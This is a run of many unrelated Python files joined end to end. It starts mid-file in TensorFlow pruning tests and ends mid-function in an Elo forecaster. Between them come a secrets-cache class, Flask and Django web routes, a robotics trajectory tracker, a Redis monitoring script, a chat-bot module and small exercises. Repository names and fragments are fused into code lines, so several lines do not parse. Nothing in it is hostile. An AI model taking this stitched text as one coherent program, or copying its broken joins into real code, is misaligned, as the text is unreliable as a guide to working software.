_DifferentInferenceWithoutTraining # because pruning and then loading pretrained weights # is unusual behavior and extra coverage is safer. def testPruneThenLoadTFWeights_DoesNotPreserveWeights(self): model = self._get_pretrained_model() _, tf_weights = tempfile.mkstemp('.tf') model.save_weights(tf_weights) # load weights into pruned model. same_architecture_model = keras_test_utils.build_simple_dense_model() pruned_model = prune.prune_low_magnitude(same_architecture_model, **self.params) pruned_model.load_weights(tf_weights) self._assert_weights_different_values(model, pruned_model) def testPruneThenLoadTFWeights_DifferentInferenceWithoutTraining(self): model = self._get_pretrained_model() _, tf_weights = tempfile.mkstemp('.tf') model.save_weights(tf_weights) # load weights into pruned model. same_architecture_model = keras_test_utils.build_simple_dense_model() pruned_model = prune.prune_low_magnitude(same_architecture_model, **self.params) pruned_model.load_weights(tf_weights) input_data = np.random.rand(10, 10) out = model.predict(input_data) pruned_out = pruned_model.predict(input_data) self.assertFalse((out == pruned_out).any()) def testPruneThenLoadsKerasWeights_Fails(self): model = self._get_pretrained_model() _, keras_weights = tempfile.mkstemp('.h5') model.save_weights(keras_weights) # load weights into pruned model. same_architecture_model = keras_test_utils.build_simple_dense_model() pruned_model = prune.prune_low_magnitude(same_architecture_model, **self.params) # error since number of keras_weights is fewer than weights in pruned model # because pruning introduces weights. with self.assertRaises(ValueError): pruned_model.load_weights(keras_weights) ################################################################### # Tests for training with pruning from scratch. @parameterized.parameters(_PRUNABLE_LAYERS) def testPrunesSingleLayer_ReachesTargetSparsity(self, layer_type): model = keras.Sequential() args, input_shape = self._get_params_for_layer(layer_type) if args is None: return # Test for layer not supported yet. model.add(prune.prune_low_magnitude( layer_type(*args), input_shape=input_shape, **self.params)) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) test_utils.assert_model_sparsity(self, 0.0, model) model.fit( np.random.randn(*self._batch(model.input.get_shape().as_list(), 32)), np.random.randn(*self._batch(model.output.get_shape().as_list(), 32)), callbacks=[pruning_callbacks.UpdatePruningStep()]) test_utils.assert_model_sparsity(self, 0.5, model) self._check_strip_pruning_matches_original(model, 0.5) @parameterized.parameters(prune_registry.PruneRegistry._RNN_LAYERS - {keras.layers.RNN}) def testRNNLayersSingleCell_ReachesTargetSparsity(self, layer_type): model = keras.Sequential() model.add( prune.prune_low_magnitude( layer_type(10), input_shape=(3, 4), **self.params)) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) test_utils.assert_model_sparsity(self, 0.0, model) model.fit( np.random.randn(*self._batch(model.input.get_shape().as_list(), 32)), np.random.randn(*self._batch(model.output.get_shape().as_list(), 32)), callbacks=[pruning_callbacks.UpdatePruningStep()]) test_utils.assert_model_sparsity(self, 0.5, model) self._check_strip_pruning_matches_original(model, 0.5) def testRNNLayersWithRNNCellParams_ReachesTargetSparsity(self): model = keras.Sequential() model.add( prune.prune_low_magnitude( keras.layers.RNN([ layers.LSTMCell(10), layers.GRUCell(10), tf.keras.experimental.PeepholeLSTMCell(10), layers.SimpleRNNCell(10) ]), input_shape=(3, 4), **self.params)) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) test_utils.assert_model_sparsity(self, 0.0, model) model.fit( np.random.randn(*self._batch(model.input.get_shape().as_list(), 32)), np.random.randn(*self._batch(model.output.get_shape().as_list(), 32)), callbacks=[pruning_callbacks.UpdatePruningStep()]) test_utils.assert_model_sparsity(self, 0.5, model) self._check_strip_pruning_matches_original(model, 0.5) def testPrunesEmbedding_ReachesTargetSparsity(self): model = keras.Sequential() model.add( prune.prune_low_magnitude( layers.Embedding(input_dim=10, output_dim=3), input_shape=(5,), **self.params)) model.add(layers.Flatten()) model.add(layers.Dense(1, activation='sigmoid')) model.compile( loss='binary_crossentropy', optimizer='sgd', metrics=['accuracy']) test_utils.assert_model_sparsity(self, 0.0, model) model.fit( np.random.randint(10, size=(32, 5)), np.random.randint(2, size=(32, 1)), callbacks=[pruning_callbacks.UpdatePruningStep()]) test_utils.assert_model_sparsity(self, 0.5, model) input_data = np.random.randint(10, size=(32, 5)) self._check_strip_pruning_matches_original(model, 0.5, input_data) def testPruneRecursivelyReachesTargetSparsity(self): internal_model = keras.Sequential( [keras.layers.Dense(10, input_shape=(10,))]) model = keras.Sequential([ internal_model, layers.Flatten(), layers.Dense(1), ]) model.compile( loss='binary_crossentropy', optimizer='sgd', metrics=['accuracy']) test_utils.assert_model_sparsity(self, 0.0, model) model.fit( np.random.randint(10, size=(32, 10)), np.random.randint(2, size=(32, 1)), callbacks=[pruning_callbacks.UpdatePruningStep()]) test_utils.assert_model_sparsity(self, 0.5, model) input_data = np.random.randint(10, size=(32, 10)) self._check_strip_pruning_matches_original(model, 0.5, input_data) @parameterized.parameters(test_utils.model_type_keys()) def testPrunesMnist_ReachesTargetSparsity(self, model_type): model = test_utils.build_mnist_model(model_type, self.params) if model_type == 'layer_list': model = keras.Sequential(prune.prune_low_magnitude(model, **self.params)) elif model_type in ['sequential', 'functional']: model = prune.prune_low_magnitude(model, **self.params) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) test_utils.assert_model_sparsity(self, 0.0, model, rtol=1e-4, atol=1e-4) model.fit( np.random.rand(32, 28, 28, 1), keras.utils.to_categorical(np.random.randint(10, size=(32, 1)), 10), callbacks=[pruning_callbacks.UpdatePruningStep()]) test_utils.assert_model_sparsity(self, 0.5, model, rtol=1e-4, atol=1e-4) self._check_strip_pruning_matches_original(model, 0.5) ################################################################### # Tests for pruning with checkpointing. # TODO(tfmot): https://github.com/tensorflow/model-optimization/issues/206. # # Note the following: # 1. This test doesn't exactly reproduce bug. Test should sometimes # pass when ModelCheckpoint save_freq='epoch'. The behavior was seen when # training mobilenet. # 2. testPruneStopAndRestart_PreservesSparsity passes, indicating # checkpointing in general works. Just don't use the checkpoint for # serving. def testPruneCheckpoints_CheckpointsNotSparse(self): is_model_sparsity_not_list = [] # Run multiple times since problem doesn't always happen. for _ in range(3): model = keras_test_utils.build_simple_dense_model() pruned_model = prune.prune_low_magnitude(model, **self.params) checkpoint_dir = tempfile.mkdtemp() checkpoint_path = checkpoint_dir + '/weights.{epoch:02d}.tf' callbacks = [ pruning_callbacks.UpdatePruningStep(), tf.keras.callbacks.ModelCheckpoint( filepath=checkpoint_path, save_weights_only=True, save_freq=1) ] # Train one step. Sparsity reaches final sparsity. self._train_model(pruned_model, epochs=1, callbacks=callbacks) test_utils.assert_model_sparsity(self, 0.5, pruned_model) latest_checkpoint = tf.train.latest_checkpoint(checkpoint_dir) same_architecture_model = keras_test_utils.build_simple_dense_model() pruned_model = prune.prune_low_magnitude(same_architecture_model, **self.params) # Sanity check. test_utils.assert_model_sparsity(self, 0, pruned_model) pruned_model.load_weights(latest_checkpoint) is_model_sparsity_not_list.append( test_utils.is_model_sparsity_not(0.5, pruned_model)) self.assertTrue(any(is_model_sparsity_not_list)) @parameterized.parameters(test_utils.save_restore_fns()) def testPruneStopAndRestart_PreservesSparsity(self, save_restore_fn): # TODO(tfmot): renable once SavedModel preserves step again. # This existed in TF 2.0 and 2.1 and should be reenabled in # TF 2.3. b/151755698 if save_restore_fn.__name__ == '_save_restore_tf_model': return begin_step, end_step = 1, 4 params = self.params params['pruning_schedule'] = pruning_schedule.PolynomialDecay( 0.2, 0.6, begin_step, end_step, 3, 1) model = prune.prune_low_magnitude( keras_test_utils.build_simple_dense_model(), **params) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) # Model hasn't been trained yet. Sparsity 0.0 test_utils.assert_model_sparsity(self, 0.0, model) # Train only 1 step. Sparsity 0.2 (initial_sparsity) self._train_model(model, epochs=1) test_utils.assert_model_sparsity(self, 0.2, model) model = save_restore_fn(model) # Training has run all 4 steps. Sparsity 0.6 (final_sparsity) self._train_model(model, epochs=3) test_utils.assert_model_sparsity(self, 0.6, model) self._check_strip_pruning_matches_original(model, 0.6) @parameterized.parameters(test_utils.save_restore_fns()) def testPruneWithPolynomialDecayPastEndStep_PreservesSparsity( self, save_restore_fn): # TODO(tfmot): renable once SavedModel preserves step again. # This existed in TF 2.0 and 2.1 and should be reenabled in # TF 2.3. b/151755698 if save_restore_fn.__name__ == '_save_restore_tf_model': return begin_step, end_step = 0, 2 params = self.params params['pruning_schedule'] = pruning_schedule.PolynomialDecay( 0.2, 0.6, begin_step, end_step, 3, 1) model = prune.prune_low_magnitude( keras_test_utils.build_simple_dense_model(), **params) model.compile( loss='categorical_crossentropy', optimizer='sgd', metrics=['accuracy']) # Model hasn't been trained yet. Sparsity 0.0 test_utils.assert_model_sparsity(self, 0.0, model) # Train 3 steps, past end_step. Sparsity 0.6 (final_sparsity) self._train_model(model, epochs=3) test_utils.assert_model_sparsity(self, 0.6, model) model = save_restore_fn(model) # Ensure sparsity is preserved. test_utils.assert_model_sparsity(self, 0.6, model) # Train one more step to ensure nothing happens that brings sparsity # back below 0.6. self._train_model(model, epochs=1) test_utils.assert_model_sparsity(self, 0.6, model) self._check_strip_pruning_matches_original(model, 0.6) @keras_parameterized.run_all_keras_modes(always_skip_v1=True) class PruneIntegrationCustomTrainingLoopTest(tf.test.TestCase, parameterized.TestCase): def testPrunesModel_CustomTrainingLoop_ReachesTargetSparsity(self): pruned_model = prune.prune_low_magnitude( keras_test_utils.build_simple_dense_model(), pruning_schedule=pruning_schedule.ConstantSparsity( target_sparsity=0.5, begin_step=0, frequency=1)) batch_size = 20 x_train = np.random.rand(20, 10) y_train = keras.utils.to_categorical( np.random.randint(5, size=(batch_size, 1)), 5) loss = keras.losses.categorical_crossentropy optimizer = keras.optimizers.SGD() unused_arg = -1 step_callback = pruning_callbacks.UpdatePruningStep() step_callback.set_model(pruned_model) pruned_model.optimizer = optimizer step_callback.on_train_begin() # 2 epochs for _ in range(2): step_callback.on_train_batch_begin(batch=unused_arg) inp = np.reshape(x_train, [batch_size, 10]) # original shape: from [10]. with tf.GradientTape() as tape: logits = pruned_model(inp, training=True) loss_value = loss(y_train, logits) grads = tape.gradient(loss_value, pruned_model.trainable_variables) optimizer.apply_gradients(zip(grads, pruned_model.trainable_variables)) step_callback.on_epoch_end(batch=unused_arg) test_utils.assert_model_sparsity(self, 0.5, pruned_model) if __name__ == '__main__': tf.test.main() from api.core import Mixin from .base import db from mongoengine import * class Availability(EmbeddedDocument, Mixin): """Availability embedded within Mentor.""" start_time = DateTimeField(required=True) end_time = DateTimeField(required=True) def __repr__(self): return f"""""" from ex112.utilidadescev import moeda from ex112.utilidadescev import dado p = dado.leiaDinheiro('Digite o preço: R$') moeda.resumo(p, 10, 13) # coding=utf-8 # Licensed to the Apache Software Foundation (ASF) under one # or more contributor license agreements. See the NOTICE file # distributed with this work for additional information # regarding copyright ownership. The ASF licenses this file # to you under the Apache License, Version 2.0 (the # "License"); you may not use this file except in compliance # with the License. You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # # # Unless required by applicable law or agreed to in writing, # software distributed under the License is distributed on an # "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY # KIND, either express or implied. See the License for the # specific language governing permissions and limitations # under the License import base64 import json import os from copy import deepcopy from alibaba_cloud_secretsmanager_client.cache.cache_secret_store_strategy import CacheSecretStoreStrategy from alibaba_cloud_secretsmanager_client.model.secret_info import convert_dict_to_cache_secret_info from alibaba_cloud_secretsmanager_client.utils import const from alibaba_cloud_secretsmanager_client.utils.aes_utils import AESEncoder, AESDecoder from alibaba_cloud_secretsmanager_client.utils.json_utils import load, dump class FileCacheSecretStoreStrategy(CacheSecretStoreStrategy): def __init__(self, cache_secret_path, reload_on_start, salt): """""" self.__cache_secret_path = cache_secret_path self.__reload_on_start = reload_on_start self.__salt = salt self.__cache_map = {} self.__reloaded_set = [] def init(self): if self.__cache_secret_path is None: self.__cache_secret_path = "." if self.__salt is None: raise ValueError("the argument[salt] must not be null") def store_secret(self, cache_secret_info): """缓存secret信息""" file_cache_secret_info = deepcopy(cache_secret_info) secret_name = file_cache_secret_info.secret_info.secret_name secret_value = file_cache_secret_info.secret_info.secret_value file_cache_secret_info.secret_info.secret_value = self.__encrypt_secret_value(secret_value) file_name = (const.JSON_FILE_NAME_PREFIX + cache_secret_info.stage + const.JSON_FILE_NAME_SUFFIX).lower() cache_secret_path = self.__cache_secret_path + os.sep + secret_name dump(cache_secret_path, file_name, json.loads(json.dumps(file_cache_secret_info, default=lambda o: o.__dict__))) self.__cache_map[secret_name] = cache_secret_info self.__reloaded_set.append(secret_name) def get_cache_secret_info(self, secret_name): """获取secret缓存信息""" if not self.__reload_on_start and (not self.__reloaded_set.__contains__(secret_name)): return None memory_cache_secret_info = self.__cache_map.get(secret_name) if memory_cache_secret_info is not None: return memory_cache_secret_info file_name = (const.JSON_FILE_NAME_PREFIX + const.STAGE_ACS_CURRENT + const.JSON_FILE_NAME_SUFFIX).lower() cache_secret_path = self.__cache_secret_path + os.sep + secret_name + os.sep + file_name if not os.path.isfile(cache_secret_path): return None cache_secret_info_dict = load(cache_secret_path) if cache_secret_info_dict is not None: if cache_secret_info_dict["secret_info"] is not None: cache_secret_info_dict["secret_info"]["secret_value"] = self.__decrypt_secret_value( cache_secret_info_dict["secret_info"]["secret_value"]) cache_secret_info = convert_dict_to_cache_secret_info(cache_secret_info_dict) self.__cache_map[secret_name] = cache_secret_info return cache_secret_info def __encrypt_secret_value(self, secret_value): """加密凭据内容""" key = os.urandom(16) iv = os.urandom(16) return base64.b64encode( const.CBC_MODE_KEY.encode("utf-8") + key + iv + AESEncoder(key, iv, self.__salt.encode(), secret_value).encode()).decode() def __decrypt_secret_value(self, secret_value): """解密凭据内容""" secret_value_bytes = base64.b64decode(secret_value.encode()) key_bytes = secret_value_bytes[ len(const.CBC_MODE_KEY.encode()):len(const.CBC_MODE_KEY.encode()) + const.KEY_LENGTH] iv_bytes = secret_value_bytes[len(const.CBC_MODE_KEY.encode()) + const.KEY_LENGTH: len( const.CBC_MODE_KEY.encode()) + const.KEY_LENGTH + const.IV_LENGTH] secret_bytes = secret_value_bytes[len( const.CBC_MODE_KEY.encode()) + const.KEY_LENGTH + const.IV_LENGTH: len(secret_value_bytes)] return AESDecoder(key_bytes, iv_bytes, self.__salt.encode(), secret_bytes).decode().decode() def close(self): pass from flask import Flask, jsonify from controllers.fruit import FruitController from models.database import Base, engine def init_db(): # 导入所有的model,然后,初始化数据库 import models.fruit Base.metadata.create_all(bind=engine) if __name__ == '__main__': app = Flask(__name__) @app.errorhandler(404) def resource_not_found(e): return jsonify(error=str(e)), 404 init_db() FruitController(app, '/fruits') app.run(port=8080, debug=True) 1-10 class Source(object): SOURCES = [] @classmethod def can_use(cls, source): return False @classmethod def register(cls, subcls): cls.SOURCES.append(subcls) return subcls @classmethod def find(cls, path): for source in cls.SOURCES: if source.can_use(path): return source(path) return source src/components/trajectorytracker.py from magicbot.state_machine import StateMachine, state from wpilib import Timer from wpilib.controller import RamseteController from wpilib.trajectory import Trajectory from autonomous import trajectories from components import chassis class TrajectoryTracker: chassis: chassis.Chassis BETA = 2.0 ZETA = 0.7 def __init__(self): self.trajectories: trajectories.Trajectories = trajectories.Trajectories() self.ramsete = RamseteController(self.BETA, self.ZETA) self.desired_trajectory: Trajectory = None self.timer = Timer() self.is_tracking = False def on_disable(self): self.is_tracking = False def setTrajectory(self, trajectory): self.timer.start() self.timer.reset() self.desired_trajectory = trajectory def track(self): self.is_tracking = True def stop(self): self.is_tracking = False def isFinished(self): if self.desired_trajectory == None: return True return self.timer.get() >= self.desired_trajectory.totalTime() def execute(self): if self.isFinished(): self.is_tracking = False if self.is_tracking: cur_state = self.chassis.getPose() desired_state = self.desired_trajectory.sample(self.timer.get()) desired_chassis = self.ramsete.calculate(cur_state, desired_state) self.chassis.setChassisVelocity( desired_chassis.vx, desired_chassis.vy, desired_chassis.omega ) import random from random import randint import time percentg = randint(90, 100) percentg = str(percentg) randassign = input("Enter assignment example: The map quiz >>>") time.sleep(1) finished = False while finished == False: goals = ["I will complete most of my homework in class", "I will be focused in class " + percentg + "% of the time", "I will be resourceful in class.", "I will be strategic in class for maximum learning", "I will communicate effectively with the teacher to finish " + randassign + ".", "I will manage my time to make sure I finish " + randassign + ".", "I will be knowledgeable.", "I will be motivated " + percentg + "% of the time.", "I will listen to the teacher to learn"] print(random.choice(goals)) choices = input("Are you satisfied with your answer? Yes/No ") choices = choices.lower() if (choices == 'yes'): finished = True break else : print("generating new result...") 0 import arrow from itertools import islice class ScheduledThread: def __init__(self, thread_definition): self.first = None self.repeat_multiple = None self.repeat_timespan = None self.title = None self.text = "" self.__parse_thread_definition(thread_definition) def __parse_thread_definition(self, thread_definition): # Split into lines, ignore first (blank) lines = thread_definition.split("\n")[1:] text_start_index = None for index, line in enumerate(lines): components = line.split(": ") key = components[0] value = components[1] # Update attributes, but break as soon as we find text # as it spans over multiple lines if not "text" in key: value = value.strip() if key == "first": self.first = arrow.get(value) elif key == "repeat": repeat_components = value.split(" ") # Shortest format: "1 day" = 5 chars if len(repeat_components) == 2 and len(value) > 5: multiple = int(repeat_components[0]) timespan = repeat_components[1] if multiple > 0 or timespan in ["hour","day","week","month"]: self.repeat_multiple = multiple self.repeat_timespan = timespan elif key == "sticky": self.sticky = (value == "true") elif key == "title": self.title = value[1:-1] #Remove quotes (first/last characters) else: text_start_index = index break if text_start_index is not None: for line in islice(lines, text_start_index+1, None): self.text += f"\n{line.strip()}\n" def is_valid(self): return not any(var is None for var in [self.title, self.repeat_multiple, self.repeat_timespan, self.first])lesingerouge/Panoptes from gevent import monkey monkey.patch_all() #core imports import datetime #framework imports import gevent import redis #app imports from utils import display_time def get_stats(host='',port='',passwd=''): try: if passwd: conn = redis.StrictRedis(host=host, port=port, password=passwd) else: conn = redis.StrictRedis(host=host, port=port) return conn.info() except Exception as e: print e return None def get_raw_results(active_servers): if active_servers: workers = [gevent.spawn(get_stats,host=item.server.value,port=item.port.value,passwd=item.authentication.value['pswd']) for item in active_servers] gevent.joinall(workers,timeout=30) return workers def redis_get_panel_results(active_servers): stats = [] if active_servers: workers = get_raw_results(active_servers) for index,item in enumerate(active_servers): redis_stats = workers[index].value if redis_stats: stats.append({ "status":"success", "server":item.server.value+":"+str(item.port.value), "uptime":display_time(int(redis_stats['uptime_in_seconds'])) }) else: stats.append({ "status":"danger", "server":item.server.value+":"+str(item.port.value), "uptime":'' }) item.last_check.value = datetime.datetime.now() item.save() return stats def redis_get_datatable_results(active_servers): stats = [] if active_servers: workers = get_raw_results(active_servers) for index,item in enumerate(active_servers): redis_stats = workers[index].value if redis_stats: stats.append([item.server.value+":"+str(item.port.value),item.service_type.value.upper(),display_time(int(redis_stats['uptime_in_seconds'])),""]) else: stats.append([item.server.value+":"+str(item.port.value),item.service_type.value.upper(),'',"ERROR - cannot be reached"]) item.last_check.value = datetime.datetime.now() item.save() output = {} output['data'] = stats output['recordsTotal'] = len(stats) output['recordsFiltered'] = len(stats) return outputmercury/msg/network/packet/phys_layer.py1-10 from mercury.config.network import PacketConfig from .packet import NetworkPacket, PhysicalPacket class CrosshaulPacket(PhysicalPacket): def __init__(self, node_from: str, node_to: str, data: NetworkPacket): super().__init__(node_from, node_to, data, PacketConfig.PHYS_XH_HEADER) class RadioPacket(PhysicalPacket): def __init__(self, node_from: str, node_to: str, data: NetworkPacket): super().__init__(node_from, node_to, data, PacketConfig.PHYS_RAD_HEADER) 0 # https://codeforces.com/problemset/problem/703/A n = int(input()) m_counter = 0 c_counter = 0 for _ in range(n): x, y = [int(x) for x in input().split()] if x == y: m_counter += 1 c_counter += 1 elif x > y: m_counter += 1 else: c_counter += 1 if m_counter > c_counter: print('Mishka') elif m_counter < c_counter: print('Chris') else: print('Friendship is magic!^^') from django.contrib import admin from django.urls import path, include from drf_yasg.views import get_schema_view from drf_yasg import openapi from rest_framework import permissions from django.conf.urls import url from django.conf import settings from django.conf.urls.static import static #for static files on local server. from django.conf.urls import include from django.views.generic import TemplateView from dashboard import views as dash_views from contact import views as cont_views from checkout import views as check_views from booking import views as booking_views from dashboard_live import views as dash_views_live from contact_live import views as cont_views_live from checkout_live import views as check_views_live from booking_live import views as booking_views_live from accounts.views import * schema_view = get_schema_view( openapi.Info( title="Jobs Portal API", default_version='v1', description="Jobs Portal Api Description", terms_of_service="https://www.google.com/policies/terms/", contact=openapi.Contact(email=""), license=openapi.License(name="BSD License"), ), public=True, permission_classes=(permissions.AllowAny,), ) urlpatterns = [ path('admin/', admin.site.urls), path('', include('jobsapp.urls')), path('', include('accounts.urls')), path('api/', include([ path('swagger', schema_view.with_ui('swagger', cache_timeout=0)), path('', include('accounts.api.urls')), path('', include('jobsapp.api.urls')), ])), url(r'^accounts/login/$',LoginView.as_view(), name='login'), url(r'^todo/', include('todo.urls', namespace="todo")), url(r'^aud_exhibit/$',dash_views.auditions, name = 'auditions'), url(r'^bookshow/$', dash_views.home, name='home'), url(r'^bookshow/dashboard/$', dash_views.dashboard,name='dashboard'), url(r'^bookshow/contact/$', cont_views.contact,name='contact'), url(r'^bookshow/accounts/', include('allauth.urls')), #url(r'^booking/$', booking_views.movie_list, name='movie_list'), url(r'^bookshow/booking/$', booking_views.show_index,name='booking'), url(r'^bookshow/checkout/$', check_views.checkout,name='checkout'), url(r'^bookshow/booking/(?P\d+)/$', booking_views.movie_details, name='movie_details'), url(r'^bookshow/booking/seatchoice/(?P\d+)/$', booking_views.reserve_seat, name='reserve_seat'), url(r'^bookshow/booking/payment/$', booking_views.payment_gateway, name='payment_gateway'), url(r'^bookshow/booking/payment_confirmation/$', booking_views.payment_confirmation, name='payment_confirmation'), #Hard Coded templates i.e. without views. url(r'^bookshow/booking/payment/booking/seatnotfound.html$', TemplateView.as_view(template_name="booking/seatnotfound.html"), name='seatnotfound'), url(r'^bookshow/booking/payment_confirmation/booking/seatconflict.html$', TemplateView.as_view(template_name="booking/seatconflict.html"), name='seatconflict'), url(r'^vyas_live/$', dash_views_live.home_live, name='home_live'), url(r'^vyas_live/dashboard_live/$', dash_views_live.dashboard,name='dashboard_live'), url(r'^vyas_live/contact_live/$', cont_views_live.contact,name='contact_live'), url(r'^vyas_live/accounts_live/', include('allauth.urls')), #url(r'^booking/$', booking_views.movie_list, name='movie_list'), url(r'^vyas_live/booking_live/$', booking_views_live.show_index,name='booking_live'), url(r'^vyas_live/checkout_live/$', check_views_live.checkout,name='checkout_live'), url(r'^vyas_live/booking_live/(?P\d+)/$', booking_views_live.movie_details, name='movie_details'), url(r'^vyas_live/booking_live/book_live/$', booking_views_live.book_live_view, name='book_live_view'), url(r'^vyas_live/booking_live/book_live/booking_confirmation/$', booking_views_live.booking_confirmation, name='booking_confirmation'), ] from talon import Context, Module mod = Module() tagList = [ "debugger", "disassembler", "gdb", "libptmalloc", "libdlmalloc", "libheap", "git", # commandline tag for git commands "ida", "tabs", "tmux", "windbg", "yay", "meson", "ninja", "apt", "buku", "ghidra_server", "nmcli", "taskwarrior", "timewarrior", "make", "kubectl", "tmux", "docker", "vagrant", "git", "pulse_audio", "docker", # allows programs running inside of a terminal (ex: gdb) to share # common terminal commands like ctrl+c, but without actually # supporting all of this shell commands themselves (ls, cd, etc) "terminal_program", "tridactyl", # a tag for defining very specific terminal command line editor # commands, see command_line_editing_readline.talon "readline", "shell_edit_emacs", "htop", "taskwarrior_tui", "vimium", ] for entry in tagList: mod.tag(entry, f"tag to load {entry} and/or related plugins ") for i in range (0, 9): print (i) rusiniak/pyleniumiotests/unit/test_bugfixes.py from unittest.mock import patch, MagicMock from pylenium import webdriver_factory def test_235_webdriver_factory(tmpdir): file_to_use = tmpdir / "file" file_to_use.write("test") gecko_mock = MagicMock() gecko_mock.install.return_value = file_to_use with patch("pylenium.webdriver_factory.GeckoDriverManager", return_value=gecko_mock): with patch("pylenium.webdriver_factory.webdriver.firefox.webdriver.Service"): with patch("pylenium.webdriver_factory.webdriver.firefox.webdriver.RemoteWebDriver"): webdriver_factory.build_firefox("latest", ["headless"], {}, [], [], "", {}) gecko_mock.install.assert_called_once() DamianDominoDavis/cwbot-ndy from collections import defaultdict import time from cwbot.modules.BaseKmailModule import BaseKmailModule def _returnedInLast(timeList, seconds): now = time.time() then = now - seconds return sum(1 for t in timeList if t > then) class UnknownKmailModule(BaseKmailModule): """ A module that returns a kmail and says that it doesn't understand. No configuration options. """ requiredCapabilities = ['kmail'] _name = "unknown" def __init__(self, manager, identity, config): super(UnknownKmailModule, self).__init__(manager, identity, config) self._returned = defaultdict(list) def _processKmail(self, message): self.log("Unknown message: {}".format(message)) self._returned[message.uid].append(time.time()) inLastHour = _returnedInLast(self._returned[message.uid], 3600) sinceStartup = _returnedInLast(self._returned[message.uid], 86400) txt = message.text if len(txt) > 1400: txt = txt[:1400] + "..." elif txt.strip() == "": txt = "(no message text)" newMsg = self.newMessage(message.uid, "I don't understand your request: " "\n\n-----\n{}\n-----\n\nNeed help? Send " "me a kmail with the text \"help\"." .format(txt), message.meat).addItems(message.items) # if too many messages are being sent, stop output. This stops a # ping-pong with another bot. if inLastHour == 5: newMsg.text = ("You've sent me five messages that I can't " "understand in the last hour. I will still answer " "your mails, but if you send another message I " "can't understand, I will ignore it.") elif inLastHour > 5: newMsg.info['defer'] = True elif sinceStartup == 20: newMsg.text = ("You've sent me 20 messages that I can't " "understand today. I will still answer " "your mails, but if you send another message I " "can't understand, I will ignore it.") elif sinceStartup > 20: newMsg.info['defer'] = True return newMsg src/aseb/apps/users/utils.py from typing import Optional from django.core.exceptions import ObjectDoesNotExist from aseb.apps.users.models import User AUTHORIZATION_HEADER = "HTTP_AUTHORIZATION" def get_user_by_email(email: str) -> Optional[User]: try: return User.objects.get_by_natural_key(email) except ObjectDoesNotExist: return None def get_user_by_id(pk: int) -> Optional[User]: return User.objects.filter(pk=pk).first() def user_can_authenticate(user: User) -> bool: return user.is_active from django.db import models from django.contrib.postgres.fields import ArrayField class Entity(models.Model): id = models.BigAutoField(primary_key=True) class Item(models.Model): id = models.BigAutoField(primary_key=True) name = models.TextField() class ItemWithIndex(models.Model): """Only testing filtering speed with this model""" id = models.BigAutoField(primary_key=True) name = models.TextField(db_index=True) class WantedItem(models.Model): id = models.BigAutoField(primary_key=True) item = models.ForeignKey(Item, on_delete=models.CASCADE) entity = models.ForeignKey(Entity, on_delete=models.CASCADE) class Meta: constraints = [ models.UniqueConstraint( fields=["entity", "item"], name="entity_need_item" ) ] # class ProposedItem(models.Model): # id = models.BigAutoField(primary_key=True) # # Typically includes user as well to record who suggested it. # # Name is only necessary if Item does not exist?? Or should we just create the item? # # I'd rather not in case of NSFW # name = models.TextField(blank=True, null=True) # item = models.ForeignKey(Item, on_delete=models.CASCADE) # entity = models.ForeignKey(Entity, on_delete=models.CASCADE) class ProposedItemArray(models.Model): id = models.BigAutoField(primary_key=True) # Typically includes user as well to record who suggested it. entity = models.ForeignKey(Entity, on_delete=models.CASCADE) items = ArrayField(models.BigIntegerField(), size=1000000) # Name is only necessary if Item does not exist?? Or should we just create the item? # I'd rather not in case of NSFW names = ArrayField(models.TextField(), size=10000000) Unsupported/VCL/Demo10/Example1.py import DBTables True = 1 False = 0 # Create and open the table T = DBTables.CreateTTable() T.DatabaseName = "DBDemos" T.TableName = "customer.db" T.Active = True #or use T.Open() # Display columns print "Columns: ", T.FieldNamesAsTuple() LastInvoiceDate = T.FieldByName("LastInvoiceDate") # For each record of the table T.First() while not T.EOF: # Get all the fields in a list A = [] for i in xrange( T.FieldCount ): A.append( T.Fields(i).Value ) # Print the current record number and the list print "Rec.", T.RecNo, ":", A # Edit record T.Edit() T.FieldByName("TaxRate").Value = 2.5 # Increments date by one day D = LastInvoiceDate.Value if D[2] < 28: D2 = D[:2]+(D[2]+1,)+D[3:] # this is tuple arithmetic ! else: D2 = D[:2]+(1,)+D[3:] # this is tuple arithmetic ! LastInvoiceDate.Value = D2 T.Post() # Get next record T.Next() # Print some fields by their names F = T.FieldByName("Company") print F, F.FieldName, "=", F.Value # Use the TFields and print the list of companies T.First() while not T.EOF: print F.AsString T.Next() # Print the fields as a dictionary D = T.FieldsAsDict() print D print D["Company"] T.Close() T.TableName = "Dummy.db" try: T.Open() except DBTables.DBError: print "could not open table ", T.TableName #delete fields del F del LastInvoiceDate # delete the table del T src/PlatformsMainPackage/BulletClass.py import pygame """ Klasa odpowiadająca za pociski generowane przez gracza. """ class BulletClass(pygame.sprite.Sprite): def __init__(self, bullet_image, direction, rect_center): """ :param bullet_image: obraz pocisku :type bullet_image: pygame img :param direction: kierunek w którym porusza się pocisk :type direction: string :param rect_center: podstawa pozycji startowej pocisku - środek postaci gracza :type rect_center: tuple """ super().__init__() self.bullet_image = bullet_image self.bullet_direction = direction self.rect = self.bullet_image.get_rect() self.rect.center = rect_center self.counter = 0 def draw(self, board): """ metoda służąca do rysowania pocisków na ekranie :param board: pole na którym rysujemy :type board: pygame surface :return: None """ board.blit(self.bullet_image, (self.rect[0] + 10, self.rect[1] + 16)) def update_bullet(self): """ metoda dzięki której pociski mogą się poruszać z zadaną szybkością :return: None """ self.counter += 1 if self.bullet_direction == 'right': self.rect.x += 15 if self.bullet_direction == 'left': self.rect.x -= 15 class Forecaster(): def __init__(self,fran_lookup,elo_lookup): self._fran_lookup = fran_lookup self._elo_lookup = elo_lookup self._ELO_POINT_RATIO = 1/32 self._HFA = 64 def forecast(self,home_team,away_team): home_fran = self._fran_lookup[home_team] away_fran = self._fran_lookup[away_team] elo_diff = self._elo_lookup[home_fran] + self._HFA - self._elo_lookup[away_fran] forecast = 1/(1+(10**(-elo_diff/400))) return [forecast,1-forecast,elo_diff*self._ELO_POINT_RATIO] if __name__ == "__main__": import pandas as pd from forecast import Forecaster games = pd.read_csv("https://raw.githubusercontent.com/crsmi/audl-elo/master/audl_elo.csv") def create_fran_lookup(): return 